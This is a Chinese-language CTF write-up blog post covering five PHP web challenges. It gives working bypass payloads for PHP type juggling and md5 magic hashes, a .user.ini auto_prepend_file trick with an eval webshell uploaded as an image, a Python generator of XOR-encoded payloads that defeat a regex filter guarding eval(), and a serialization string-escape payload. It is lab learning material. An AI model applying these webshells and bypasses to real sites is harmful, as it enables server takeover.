CTF

第四周

学习学习

Posted by lll-yz on August 24, 2021

web03

<?php
highlight_file(__FILE__);

include "flag.php";

$wwc = $_GET['wawacai'];
if (strpos($wwc, 'e') !== False)
{
    die('啊哈');
}
if (intval($wwc) == 0 and floatval($wwc) ==0 and $wwc > 0)  // ?什么鬼
{
    $wwc_len = $_GET['len'];
    if(strlen($wwc_len) < 8 and $wwc_len > 99999999) 
    {
        $next = True;
        print ("<br>Surprise! First flag: ".$flag1);
    }
}

?> 

第一个过滤要求$wwc取整和float小数点都为0,且其值要大于0,可以采用16进制绕过。之后直接科学计数法即可。payload: wawacai=0x1&len=9e9

 <?php
highlight_file(__FILE__);
include "flag.php";
$ydf=$_GET['ydf']; 
if ($ydf == '2333' and !preg_match('/^\d+/', $ydf) and strpos($ydf, 'e') !== false)
{
    $next = True;
    print ("<br>Surprise! Second flag: ".$flag2);
}
else
{
    print('<br>.......');
}  

要求输入的内容要 =='2333'且满足正则不能取数字开头的字符串,且字符串中要有e

可以直接.2333e4代表0.2333e4满足要求。

也可以使用 空格 来绕过正则的过滤,2.333e3,或在前面写上+绕过,+2.333e3

web05

文件上传。

测试发现,不可用上传.php后缀,常规思路上传.jpg等允许的后缀图片马,再用burp抓包后修改后缀,成功上传,然后给出提示:file_name.png上传路径 upload. '/' .md5(rand(100,999)).file_name.png

其将我们上传的文件取 100~999中的随机数再进行了md5加密处理再和我们的文件名拼接,所以我们可以使用burp爆破一下文件名,取得正确路径即可蚁剑连接,得到flag。

web01

/var/www/html/c2fcb359a3d8168c5e5d7e57fe2c5d8c <?php

error_reporting(0);
$sandbox = '/var/www/html/' . md5("721" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@touch($sandbox.'/index.php');
@chdir($sandbox);

class aaa{

    private $name;
    private $content;


    public function __construct($name,$content=''){
        $this->name = $name;
        $this->content = $content;
        ini_set('open_basedir', '/var/www/html');
    }

    public function put_file(){
        if($this->waf($this->name) && $this->waf($this->content)){
            return file_put_contents($this->name, $this->content);
        }else{
            return 0;
        }
    }

    private function waf($input){
        return !preg_match('/ph/i', $input);
    }

    public function get_file(){
        if(file_exists($this->name)){
            echo file_get_contents($this->name);
        }else{
            return False;
        }
    }

    public function __destruct(){

    }

}

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='upload'){
    die('what ???');
}

switch ($action) {
    case 'upload':
        $name = $_POST['name'];
        $content = $_POST['content'];
        $ft = new aaa($name,$content);
        if($ft->put_file()){
            echo $name.' upload success!';
        }
        break;
    case 'download':
        $name = $_POST['name'];
        $ft = new aaa($name,$content);
        if($ft->get_file()===False){
            echo $name.' download failed';
        }
        break;
    default:
        echo 'hello world';
        break;
} 

文件上传。

发现想要上传文件,需要在到达switch()中的upload,就需要绕过$action==='upload',当值取0的时候可以绕过。

在new类时,会对我们的输入内容做检查,其中正则了ph且大小写无法绕过,可以使用PHP短标签来绕过<??>,因为无法上传到php后缀文件,而代码中又创建了index.php,@touch($sandbox.'/index.php');。所以可以想到上传.user.ini:auto_prepend_file=a.png来包含我们的图片马,上传一个文件a.png,内容为<?=eval($_POST['hhh']);?>,访问/c2fcb359a3d8168c5e5d7e57fe2c5d8c/index.php,蚁剑连接。

web02

<?php
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
if(isset($_POST['x']) && "1dd991" === substr(md5($_POST['x']),0,6) && isset($_POST['y']) && is_numeric($_POST['y']) and $_POST['y']!=='36' and trim($_POST['y'])!=='36' and filter($_POST['y'])=='36'){  
    if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $_GET['cmd'])){
                die('hacker');
    }else{
                eval($_GET['cmd'].';');
    }
}else{
    die(show_source(__FILE__));
}
?> 

md5绕过写个脚本生成:

<?php
$i=1;

while(1){
	if("1dd991" === substr(md5($i),0,6)){
		echo $i;
		exit();
	}
	$i++;
}
?>
//得到  23751074

然后要绕过:

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

isset($_POST['y']) && is_numeric($_POST['y']) and $_POST['y']!=='36' and trim($_POST['y'])!=='36' and filter($_POST['y'])=='36'

同样编写脚本:

<?php
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

for($i=0;$i<128;$i++){
	$y = chr($i).'36';
	if(is_numeric($y) and $y!=='36' and trim($y)!=='36' and filter($y)=='36') {
			echo urlencode(chr($i)).'  ';
	}
}
?>
//得到 %0C不会被trim()过滤掉

接下来绕过:preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $_GET['cmd'])

import re

def write():
	preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;]+'
	str = ""
	for i in range(1,256):
		for j in range(1,256):
			if not (re.search(preg,chr(i),re.I) or re.search(preg,chr(j),re.I)):
				k = i ^ j
				if k >= 32 and k <= 126:
					a = '%'+hex(i)[2:].zfill(2)
					b = '%'+hex(j)[2:].zfill(2)
					str = (str + chr(k)+" "+a+" "+b+"\n")
	fp = open('result.txt','w')
	fp.write(str)
    
def produce(string):
	str1 = ""
	str2 = ""
	for i in string:
		fp = open('result.txt','r')
		while True:
			line = fp.readline()
			if line == "":
				break
			if line[0] == i:
				str1 = str1 + line[2:5]
				str2 = str2 + line[6:9]
				break
		fp.close()
	result = "(\""+str1+"\"^\""+str2+"\")"
	return result

if __name__ == "__main__":
	write()
	while True:
		function = input("输出执行函数:")
		parms = input("请输出函数参数:")
		payload = produce(function) + produce(parms)
		print(payload)

web04

 <?php  
    error_reporting(0);
    session_start();
    
    class Challenges{
        public $Y = 'fuck';
        public $A = 'hacker';
        public $S = 'hacker44';
        public $F = 'hacker555';
        public function __construct($y,$a,$s){
        $this->Y = $y;
        $this->A = $a;
        $this->S = $s;
    }
}
    $y = $_POST['y'];
    $a = $_POST['a'];
    $s = $_POST['s'];
    
    if (isset($y) && isset($a) && isset($s)){
        $m = new Challenges($y,$a,$s);
        $msg = str_replace('fuck', 'fucker', serialize($m));
        $msg = str_replace('love', 'lover',$msg);
        $msg = str_replace('watermelon', 'melon',$msg);            
        $_SESSION['m'] = base64_encode($msg);
    }
    if(isset($_POST['q']) && isset($_POST['r'])){
        if(is_numeric($_POST['q']) && is_string($_POST['r'])
            && md5($_POST['q']) == md5($_POST['r'])){            
            include('message.php');
        }
    }
    highlight_file(__FILE__); 

序列化字符逃逸,md5绕过。

y=b&a=c&s=lovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelove";s:1:"F";s:7:"destiny";}&q=240610708&r=QNKCDZO
<?php
    include_once 'flag.php';
    highlight_file(__FILE__);

    if(isset($_COOKIE['m'])){
        $m = unserialize(base64_decode($_SESSION['m']));
        if($m->F == 'destiny'){
            echo $flag;
        }
    }

这里cookie在随便输入一个值。